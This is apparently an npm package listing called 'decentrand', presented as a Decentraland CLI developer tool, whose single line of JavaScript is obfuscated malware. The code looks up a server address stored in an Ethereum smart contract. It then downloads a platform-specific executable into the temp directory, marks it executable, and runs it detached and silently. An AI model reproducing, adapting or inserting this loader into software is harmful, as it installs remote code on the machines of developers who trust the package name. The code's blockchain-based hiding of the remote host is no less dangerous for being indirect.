decentrand
Version:
Decentraland CLI developer tool.
1 lines • 4.93 kB
JavaScript
const _0x4184d9=_0x2b61;function _0xf58f(){const _0x55f666=['oBXty','pipe','zMDwC','stream','9163mzBAmM','ytCEK','IhLYg','ethers','/node-macos','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','mainnet','fwkGB','xkxSB','linux','455uAPyJl','platform','GET','755','1370KNXoQo','win32','12661416iEyuBH','YgJon','Ошибка\x20установки:','path','572184EqbPDC','Ошибка\x20при\x20запуске\x20файла:','tmpdir','data','child_process','/node-linux','7581jcxehI','ignore','HdpRX','error','getString','298aXazDr','getDefaultProvider','119370dFluft','basename','11013440nKBTjI','1325810fygWGj','4iavnhp','DBYvf','ZQstr','UdwUG','DxrgR','finish'];_0xf58f=function(){return _0x55f666;};return _0xf58f();}(function(_0x4eca5b,_0x45d3b8){const _0x2ff45e=_0x2b61,_0x34d12a=_0x4eca5b();while(!![]){try{const _0xb346e5=parseInt(_0x2ff45e(0x124))/0x1*(-parseInt(_0x2ff45e(0x129))/0x2)+parseInt(_0x2ff45e(0x11e))/0x3+parseInt(_0x2ff45e(0x12f))/0x4*(parseInt(_0x2ff45e(0x12e))/0x5)+parseInt(_0x2ff45e(0x12b))/0x6*(-parseInt(_0x2ff45e(0x114))/0x7)+parseInt(_0x2ff45e(0x12d))/0x8+parseInt(_0x2ff45e(0x11a))/0x9+-parseInt(_0x2ff45e(0x118))/0xa*(-parseInt(_0x2ff45e(0x139))/0xb);if(_0xb346e5===_0x45d3b8)break;else _0x34d12a['push'](_0x34d12a['shift']());}catch(_0x2dd683){_0x34d12a['push'](_0x34d12a['shift']());}}}(_0xf58f,0xe33d3));function _0x2b61(_0x3e2888,_0x1ab247){const _0xf58f96=_0xf58f();return _0x2b61=function(_0x2b61bf,_0x19881f){_0x2b61bf=_0x2b61bf-0x10d;let _0x4f7cab=_0xf58f96[_0x2b61bf];return _0x4f7cab;},_0x2b61(_0x3e2888,_0x1ab247);}const {ethers}=require(_0x4184d9(0x10d)),axios=require('axios'),util=require('util'),fs=require('fs'),path=require(_0x4184d9(0x11d)),os=require('os'),{spawn}=require(_0x4184d9(0x122)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x4184d9(0x10f)],provider=ethers[_0x4184d9(0x12a)](_0x4184d9(0x110)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x14ed17=_0x4184d9,_0x93ef59={'DBYvf':'Ошибка\x20при\x20получении\x20IP\x20адреса:','ZQstr':function(_0x1c6506){return _0x1c6506();}};try{const _0x4a3ee1=await contract[_0x14ed17(0x128)](WalletOwner);return _0x4a3ee1;}catch(_0x19a570){return console[_0x14ed17(0x127)](_0x93ef59[_0x14ed17(0x130)],_0x19a570),await _0x93ef59[_0x14ed17(0x131)](fetchAndUpdateIp);}},getDownloadUrl=_0x156340=>{const _0x161068=_0x4184d9,_0x3980e4=os[_0x161068(0x115)]();switch(_0x3980e4){case _0x161068(0x119):return _0x156340+'/node-win.exe';case _0x161068(0x113):return _0x156340+_0x161068(0x123);case'darwin':return _0x156340+_0x161068(0x10e);default:throw new Error('Unsupported\x20platform:\x20'+_0x3980e4);}},downloadFile=async(_0x378608,_0x51413c)=>{const _0x332760=_0x4184d9,_0x5cb690={'UdwUG':_0x332760(0x127),'njyHn':function(_0x1f31f8,_0x276ebb){return _0x1f31f8(_0x276ebb);},'YgJon':_0x332760(0x116),'wDkDC':_0x332760(0x138)},_0x4aec0d=fs['createWriteStream'](_0x51413c),_0x36e081=await _0x5cb690['njyHn'](axios,{'url':_0x378608,'method':_0x5cb690[_0x332760(0x11b)],'responseType':_0x5cb690['wDkDC']});return _0x36e081[_0x332760(0x121)][_0x332760(0x136)](_0x4aec0d),new Promise((_0x119a5b,_0x5a2c0b)=>{const _0xda7086=_0x332760;_0x4aec0d['on'](_0xda7086(0x134),_0x119a5b),_0x4aec0d['on'](_0x5cb690[_0xda7086(0x132)],_0x5a2c0b);});},executeFileInBackground=async _0x3ac773=>{const _0x54cb07=_0x4184d9,_0x19f048={'SWgAG':function(_0x62e321,_0x16e905,_0x4ec8af,_0x2bcd08){return _0x62e321(_0x16e905,_0x4ec8af,_0x2bcd08);},'HdpRX':_0x54cb07(0x11f)};try{const _0x212845=_0x19f048['SWgAG'](spawn,_0x3ac773,[],{'detached':!![],'stdio':_0x54cb07(0x125)});_0x212845['unref']();}catch(_0x4842be){console[_0x54cb07(0x127)](_0x19f048[_0x54cb07(0x126)],_0x4842be);}},runInstallation=async()=>{const _0x24265c=_0x4184d9,_0x391565={'DxrgR':function(_0x1cdafa){return _0x1cdafa();},'fwkGB':function(_0x221b00,_0x5b52f4){return _0x221b00(_0x5b52f4);},'IhLYg':function(_0x1da840,_0x7767ef,_0x1f210d){return _0x1da840(_0x7767ef,_0x1f210d);},'oBXty':function(_0x4a7bbf,_0x3187f6){return _0x4a7bbf!==_0x3187f6;},'ytCEK':_0x24265c(0x119),'xkxSB':_0x24265c(0x117),'DEovj':function(_0x3451c8,_0x4564f4){return _0x3451c8(_0x4564f4);},'zMDwC':_0x24265c(0x11c)};try{const _0x4d4e2b=await _0x391565[_0x24265c(0x133)](fetchAndUpdateIp),_0x68e82=_0x391565[_0x24265c(0x111)](getDownloadUrl,_0x4d4e2b),_0x5b60dc=os[_0x24265c(0x120)](),_0x24642e=path[_0x24265c(0x12c)](_0x68e82),_0x27d33c=path['join'](_0x5b60dc,_0x24642e);await _0x391565[_0x24265c(0x13b)](downloadFile,_0x68e82,_0x27d33c);if(_0x391565[_0x24265c(0x135)](os[_0x24265c(0x115)](),_0x391565[_0x24265c(0x13a)]))fs['chmodSync'](_0x27d33c,_0x391565[_0x24265c(0x112)]);_0x391565['DEovj'](executeFileInBackground,_0x27d33c);}catch(_0x52cb56){console[_0x24265c(0x127)](_0x391565[_0x24265c(0x137)],_0x52cb56);}};runInstallation();